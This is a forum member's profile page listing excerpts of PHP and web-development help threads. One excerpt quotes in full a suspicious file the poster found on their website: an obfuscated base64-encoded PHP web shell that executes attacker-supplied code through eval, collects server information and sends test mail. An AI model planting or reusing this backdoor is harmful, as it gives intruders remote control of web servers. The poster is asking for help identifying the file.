Posts
 
Reputation
Joined
Last Seen
Ranked #925
Strength to Increase Rep
+4
Strength to Decrease Rep
-1
100% Quality Score
Upvotes Received
3
Posts with Upvotes
3
Upvoting Members
3
Downvotes Received
0
Posts with Downvotes
0
Downvoting Members
0
3 Commented Posts
~15.5K People Reached
About Me

I am a musician, a computer geek, opinionated, willing to change my mind and mostly I am an average bod getting by.

Interests
Computers and music
PC Specs
iMac running a variety of virtual O/Ss
Favorite Tags
Member Avatar for slyme

Two files to edit/maintain a data array. data.php looks something like this: <?php $data_array[0]['key1'] = 'value'; $data_array[0]['key2'] = 'value'; $data_array[1]['key1'] = 'value'; $data_array[1]['key2'] = 'value'; $data_array[2]['key1'] = 'value'; $data_array[2]['key2'] = 'value'; ?> admin.php works something like this: function get_data() { include 'data.php'; // do a load of stuff with $data_array …

Member Avatar for slyme
0
522
Member Avatar for slyme

I have a plug-in for a payment gateway for a WordPress installation with a WooCommerce shopping plug-in. The payment gateway plug-in fails at the checkout. The error message may be a distraction at this point as I only want some more general advice. The error is suggesting some problem with …

0
167
Member Avatar for slyme

Hello, I am getting a bit confused regarding apostrophes in my SQL statement. I can get it to work but I would like to understand why it works when it does or, conversely, why it doesn't work when it doesn't. If you know what I mean. Anyway - here goes: …

Member Avatar for pritaeas
0
268
Member Avatar for slyme

Hi Everybody, I hope someone can help with this, it's taken so long to get this close but I just can't figure out the last small (but show stopping) detail. I start with a string of text and a font-face entered/selected via a form. I am using imagettfbbox to determine …

Member Avatar for diafol
1
1K
Member Avatar for SimonIoa

Does anyone sees any fault? <?php $sql = 'SELECT * FROM messages'; $result = $database->sql_query($sql); while ($row = $database->sql_fetchrow($result)) { echo $row['message']; } ?> and my database connection `$database = mysql_select_db(DB_DATABASE) or die(mysql_error());`

Member Avatar for SimonIoa
0
169
Member Avatar for Pravesh_1

I am getting 500 internal server error; here is my .htaccess code AuthName "admin" AuthUserFile "/home/machiner/.htpasswds/public_html/passwd" # mod_pagespeed configuration - Do NOT modify the contents <IfModule pagespeed_module> ModPagespeedDomain * ModPagespeed on </IfModule> # End of mod_pagespeed configuration- Do NOT modify the contents

Member Avatar for slyme
0
281
Member Avatar for slyme

Hi, thanks for looking at this post. I have searched and experimented and after hours of getting really close I have finally admitted to my self that I'm going to have to stop and ask directions! So, I want the browser address http://drivingmeinsane/Join to be re-written to http://drivingmeinsane/?page=Join I've come …

Member Avatar for slyme
1
363
Member Avatar for Paul_17

Hi Guys, Been talking to a friend about my code I have been working on.I could not figure out how for the life of me to check whether an email or code in my database is already in use. So just to cool down for a bit i put conditions …

Member Avatar for Paul_17
0
908
Member Avatar for NitinThacker

HEllo i want to know how to submit form to email so that one can received all form infromation in email , if u have seen Contact pages, inquiery pages in website same as i want. Either in PHP or ASP

Member Avatar for missy_mi
0
2K
Member Avatar for slyme

I have created a customised shopping cart coded in PHP. Once the user has filled their cart they hit checkout and all of the details, including the address detail, are posted into a PayPal shopping cart and the user can pay using a PayPal account or a credit card. After …

Member Avatar for LastMitch
0
183
Member Avatar for jayreis

I am trying to send an email via php with an attchment. Before anyone suggests using pear or swiftmailer I am aware of all of them but have a host who refuses to install any of them on my clients hosting account. So I am stuck with writing this function …

Member Avatar for jayreis
0
265
Member Avatar for HunainHafeez

i have a table in Mysql's database, tblStudents, which has 1,000 stdents, from different departments, e.g 500 from IIT, 300 from IMS, 100 from Medical, 100 from Engineering. and on fornt end in, i have 2 dropdown boxes, one drpdwnDown box is filled with values, IMS, IIT, MEDICAL, ENGINEERING. now …

Member Avatar for slyme
0
206
Member Avatar for gilgil2

Hi I have a log in script that if successful starts a session. When you enter the correct info it days that you are logged in, but when you try to acces a restricted file it says that you are not logged in. If you then log in again it …

Member Avatar for gilgil2
0
733
Member Avatar for slyme

Hi All, I have inherited a web site which is really a bit beyond me ... there's no option though, I've got to figure it out, so ... The whole site uses Apache/Python/Django/Satchmo. I want to set up a sub-domain which uses a simple Apache/PHP set up. I'm guessing that …

Member Avatar for slyme
0
199
Member Avatar for slyme

I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ …

Member Avatar for slyme
0
248
Member Avatar for slyme

Hi, Very new to JavaScript so I'm sorry if this is a daft question, I have searched for answers first and could not find anything that works for me ... so .. The task: One html form with two submit buttons. On submit (save changes) posts back to the same …

Member Avatar for twiss
0
768
Member Avatar for slyme

Hi, If I run the following mysql_query: [ICODE]SELECT * FROM products WHERE product_name LIKE '%SOM%'[/ICODE] I get the following results: [INDENT]SOM 1 - Coloured option SOM 2 - Magnetic Roof Sign SOM 4 - Magnetic Roof Sign - Centre L SOM 6 - Magnetic Roof Sign - Curved Top SOM …

Member Avatar for erickci
0
418
Member Avatar for Motorider

If this should be posted in another area, such as, layout and design please let me know. A person who post's as Ardav on this board has gotten me this far. I have a relational database that pulls by brand and descriptive keyword. I wish to search and display on …

Member Avatar for dschuett
0
472
Member Avatar for Ambislm

hi everyone, i have 2 problems which makes me to stuck inbetween my application.. my first issue is: i already used get method to pass variable values between pages which is working fine till now as follows: $frmDate=trim($_GET['beg']); $toDate=trim($_GET['datEnd']); $time=trim($_GET['time']); $incoming=$_GET['inTxt']; echo "<a href=\"outgoing.php?optSingle=".$c."&beg=".$frmDate."&datEnd=".$toDate."&inTxt=".$incoming."&flr=".$flr."&page=1\" ></a>"; but how can i use …

Member Avatar for slyme
0
152
Member Avatar for LloydFarrell

Hi all, I have been doing some reading into security with PHP session data and I have changed a few things around in my script - For example - I am now using $securecode=sha1(uniqid(rand())); as before I was using $securecode=md5(uniqid(rand())); As reading through daniweb has taught me that sha1 is …

Member Avatar for Zagga
0
515
Member Avatar for slyme

I want to send an email and I am using the code below. It always works on my test server and my production server which are both IIS on Windows. It sometimes works the client's server. Once or twice in ten it sends. The client's server is running Apache on …

Member Avatar for slyme
0
156
Member Avatar for slyme

I have seen the mail function preceded with an @ symbol. I have tried it in my code and I cannot see what difference it makes. I have searched Google and the PHP documentation and I have not been able to find an explanation for this @ symbol. Would someone …

Member Avatar for slyme
0
95
Member Avatar for star_lavender

How to use while loop to loop a set of radio button groups? I have several questions that retrieve from database and each question has five different ratings named 1, 2, 3, 4 and 5. I create radio button group for the rating and using while to loop them. I …

Member Avatar for star_lavender
0
3K
Member Avatar for slyme

I don't want slashes in my $_POST values. I want to deal with that kind if thing myself. I am having problems getting rid of said slashes. You can see the results of the following code here: [URL="http://www.slyme.co.uk/sanitise.php"]http://www.slyme.co.uk/sanitise.php[/URL] View the source - htmlentities seems to work, stripslashes doesn't unless I …

Member Avatar for slyme
0
167
Member Avatar for j4mes_bond25

I haven't made any website for over 2 years now. Last time I made, I used Dreamweaver 8, however, I've lost my CD now. Since I'm being given a task to make a local community website, I wondered if there're free website designing software available that people can recommend me. …

Member Avatar for xav.vijay
-1
158
Member Avatar for mcatominey

I have been searching the web for this but cant find it anywhere, i want to search my mysql database with php but i want it to find records if just one of the search term word are met. eg. Search term from form = "one two three" My database …

Member Avatar for diafol
0
148
Member Avatar for slyme

Hi, thanks for reading this ... I am passing this value (for example) to PayPal: [CODE]<input type="hidden" name="item_name" value="Ménàge à Trois California Red Wine 2007">[/CODE] The Pay Pal Shopping Cart displays this value as 'M�n�ge � Trois California Red Wine 2007' I'm guessing that this has something to do with …

0
60
Member Avatar for andydeans

Hi, Could anyone point me to some good tutorials on using PHP with Dreamweaver? Also any other helpful forums? Many thanks Andy

Member Avatar for andydeans
0
190
Member Avatar for mrcniceguy

I never worked with video at all. Just asking how is it possible to enable members in my site to upload videos. I have seen in some site example Tagged.com,there videos got Youtube player)))how is possible to play tube videos in my website. Its a Social Network web

Member Avatar for mrcniceguy
0
180
Member Avatar for mynameis

Hello, I need to make an script that displays word "admin" or "regular member" etc below an username.e.g.If a member is admin it displays "admin" below his username every time he posts. like here in [URL="http://daniweb.com"]daniweb.com[/URL] whenever i post a thread it displays "Newbie poster" below my username. I don't …

Member Avatar for Designer_101
0
81